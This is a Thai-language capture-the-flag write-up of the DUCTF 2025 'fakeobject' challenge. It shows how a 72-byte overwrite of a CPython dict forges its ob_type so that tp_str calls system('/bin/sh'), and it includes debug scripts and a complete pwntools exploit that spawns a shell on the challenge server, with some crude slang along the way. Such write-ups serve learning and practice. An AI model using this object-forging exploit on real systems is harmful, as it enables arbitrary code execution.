[DUCTF2025] fakeobject

pwn8pwn8
3 min read

week นี้ไม่ค่อยว่างมีนัดไปนู่นนี่ ว่างเล่นข้อเดียว ถือว่าแปลกใหม่พอสมควร ไม่เคยทำ pwn บน python เลยจั้บ มาดูกันว่าถ้าเรา Arbitrary Write บน Python เราทำไรได้บ้าง

โจทย์ให้มาหนึ่งไฟล์ fakeobj.py สั้น ๆ ง่าย ๆ คือ write ได้ 72 bytes ทับที่ตัวแปร obj ที่เป็น dict ใน Python

#!/usr/bin/env python3

import ctypes

obj = {}
print(f"addrof(obj) = {hex(id(obj))}")

libc = ctypes.CDLL(None)
system = ctypes.cast(libc.system, ctypes.c_void_p).value
print(f"system = {hex(system or 0)}")

fakeobj_data = bytes.fromhex(input("fakeobj: "))
for i in range(72):
    ctypes.cast(id(obj), ctypes.POINTER(ctypes.c_char))[i] = fakeobj_data[i]

print(obj)

เป้าหมายของเราคือ spawn shell อ่าน flag นั้นเอง แต่สิ่งนี้มันคืออารายยไม่เคยพบเคยเห็น ไม่เคย pwn บน python ค้อฟอ้าย

เริ่ม Debug ก่อนเลย

เอาโจทย์มาโมใหม่จะได้ debug ง่าย ๆ fakedebug.py

#!/usr/bin/env python3

import ctypes

obj = {}
print(f"addrof(obj) = {hex(id(obj))}")

libc = ctypes.CDLL(None)
system = ctypes.cast(libc.system, ctypes.c_void_p).value
print(f"system = {hex(system or 0)}")

input() # caveman breakpoint

# fakeobj_data = bytes.fromhex(input("fakeobj: "))
fakeobj_data = b""
fakeobj_data += b"AAAAAAAA"
fakeobj_data += b"BBBBBBBB"
fakeobj_data += b"CCCCCCCC"
fakeobj_data += b"DDDDDDDD"
fakeobj_data += b"EEEEEEEE"
fakeobj_data += b"FFFFFFFF"
fakeobj_data += b"GGGGGGGG"
fakeobj_data += b"HHHHHHHH"
fakeobj_data += b"IIIIIIII"


for i in range(72):
    ctypes.cast(id(obj), ctypes.POINTER(ctypes.c_char))[i] = fakeobj_data[i]

print(obj)

จากนั้นก็ attach gdb ของเราเข้าไป แล้ว debug เลยยยย

(pwn) ➜  gdb python3
gef> r fakedebug.py
Starting program: /home/pwn/.virtualenvs/pwn/bin/python3 fakedebug.py
addrof(obj) = 0x7ffff77067c0
system = 0x7ffff7c58750
gef> tele 0x7ffff77067c0

เหี้ยไรเนี่ย

ก่อนจะไปหวดต่อเราลองมาดูกันก่อนว่าเรา Write ได้ 72 Bytes มันเริ่มจากตรงไหนถึงตรงไหนบ้าง

จะเห็นว่า Range ที่เราเขียนได้จะเริ่มตั้งแต่หัว Dict ไปถึง +0×48 Bytes

คำถามคือเราจะทำยังไงต่อเพื่อให้ Hijack Control Flow มาเพื่อไป Spawn Shell ให้ได้

ถ้าเราย้อนกลับไปดู fakeobject.py จะเห็นว่าโปรแกรมไม่ได้ทำอะไรเลยหลังเราเขียนทับ Dict เขียนนอกจาก print(obj) แต่ๆๆๆๆๆ ถ้าใครเคยเขียน python แล้วลอง print(dict()) แล้วจะพบว่ามันจะทำการ print key และ value ออกมาให้เราหมดเลย แสดงว่ามันต้องมี function สักอย่างที่คอยจะการ parse ค่าต่าง ๆ ใน Dict ของเราออกมาเป็น String แล้วส่งให้ print ไปโชว์ Dick ของเรา

ซึ่งใน Python เอง Datatype แทบจะทุก Type จะ inherit มาจาก Object ซึ่ง Dict เองก็เหมือนกัน แสดงว่า Dict ของเราควรจะเก็บ Function Pointer ของ __str__ ไว้สักที่หนึ่ง ถ้าเราหาเจอแล้วเรา Replace เป็น system น่าจะ hijack control flow และ Spawn shell ได้เลย

แล้วมันอยู่ไหนล่ะ?

ถ้าเรากลับไปแกะตัว Implementation ของ Dict ใน cPython เราจะเห็น struct หน้าตาแบบนี้ อันนี้ทำให้เราพอจะ map กับ Memory ที่เรา tele ดูตอนแรกได้

จาก struct ของ PyDictObject ข้างบนเราเอามา map กับตัว memory ของเราได้แบบนี้

อ้าว ไม่เห็นมี __str__ เบยยย จริง ๆ เราเกือบจะเจอมันแล้วครับ มันไปแอบอยู่ที่ PyTypeObject ถ้าเรา trace code ไปดู struct _typeobject ก็จะเห็นเหมือนในรูปนี้ครับ ในที่นี้

ซึ่งถ้าคิดย้อนกลับดูก็ make sense เพราะทุก Dict ก็ควรจะมี Default string handler function ที่เหมือนกัน จะเก็บใน Type Object ก็ไม่แปลก

ไหนลอง tele obj_type ดิ้

อ้าว งี้จะรู้ได้ไงว่า offset ไหนคือ __str__ หรือ tp_str ใน _typeobject หล่ะ จริง ๆ จากด้านบนเราพอจะมี Hint อยู่บ้าง เมื่อเราเอา Struct มาเทียบมัน Memory Layout ของ obj_type มีความเป็นไปได้ที่ tp_target จะอยู่ที่ offset+0×88

แต่เราไม่มี Arbitary Read/Write หนิ เราจะ Leak Address ของ _typeobject มาได้ยังไง หรือถ้า Address ของ _typeobject เป็น Fixed Address เราก็ไม่มี Arbitary Address Write มาทับที่ตรงนี้อยู่ดี

คำถามคือเราจำเป็นต้อง AAW จริง ๆ หรือเปล่าเพื่อ ทำให้ tp_str เป็น address ที่เราต้องการ เราย้อนกลับไปที่ PyDictObj ดีกว่า

ถ้าเราจะเรียก tp_str สามารถทำได้จาก ob_type→tp_str() งั้นถ้าเราเขียนที่ tp_str ไม่ได้ เราก็แก้ค่า ob_type แทนสิ!

เราทำการแก้ pointer ของ ob_type ไปที่ Memory ที่เรา control แล้วก็ Align ให้ offset ที่ 0×88 เป็น function pointer ที่เราต้องการแค่นี้ก็ได้แล้ว

จะทำให้ ob_type→tp_str align ชี้มาที่ 0xdeadbeef ของเรา

ไหนมาลองกันเลยแก้ fakedebug.py ของเราให้เป็นตาม Structure ด้านบน

จะเห็นว่าเราสามารถ hijack control flow ได้แล้ว อีกทั้ง RDI ยังชี้ไปที่ obj ของเราอีก งี้ EZ เลย คุมได้หมด system ก็ไม่ต้อง leak พรี่แกให้มาหมด งั้นโม exploit ให้เป็นหน้าตาแบบนี้

ที่ /bin/sh ต้อง -2 เพราะเหมือนตอนที่เรารันไปตัว Obj เรามี ref เพิ่มขึ้นมาอีก 2 เลยลบไปเมื่อเอาไปรันมันจะ inc ขึ้นมาเองแล้วทำให้ payload กลายเป็น /bin/sh\x00 เอง (Little Endian น่ะ ไม่งงหรอกเนอะ)

ตั้ง breakpoint ไว้ที่ system ก็พบว่าเราสามารถ spawn shell ได้แน้วววว

ไม่รอช้าหวดที่ server เลยค้อฟ

กรรม ไม่เวิคเฉยยยยยยย

เลยกลับไปลอง spawn docker ที่ทางผู้จัดให้มาแล้วลอง attach gdb ไปดูพบว่าจริง ๆ ที่ตายมันตายที่ obj→ob_refcnt ที่ env เรามัน +2 แต่ใน docker มัน +1 อันนี้ยังไม่ได้ลอง debug ต่อแต่คิดว่าน่าจะเพราะตอน debug มี code ที่ ref มากกว่าโจทย์ เลยลองแก้ obj→obj_refcnt เป็น -1 แล้วหวดอีกรอบค้อฟ

จะเห็นว่าเราสามารถควยคุม dick และ spawn shell ได้ตามต้องการแล้ว เย้

solve.py

from pwn import *


p = remote("chal.2025.ductf.net", 30001)


p.recvuntil(b"addrof(obj) = ")
obj_addr = int(p.recvline().strip(), 16)
print(f"obj_addr:{hex(obj_addr)}")

p.recvuntil(b"system = ")
system_addr = int(p.recvline().strip(), 16)

print(f"system_addr:{hex(system_addr)}")

fakeobj_data = b""

fakeobj_data += p64(0x0068732f6e69622f-1) # 1 head
fakeobj_data += p64(obj_addr-0x88+24+8) # functype
fakeobj_data += p64(0)
fakeobj_data += p64(0) 
fakeobj_data += p64(system_addr)
fakeobj_data += p64(0)
fakeobj_data += p64(0)
fakeobj_data += p64(0)
fakeobj_data += p64(0)

p.sendline(fakeobj_data.hex())

p.interactive()
0
Subscribe to my newsletter

Read articles from pwn8 directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

pwn8
pwn8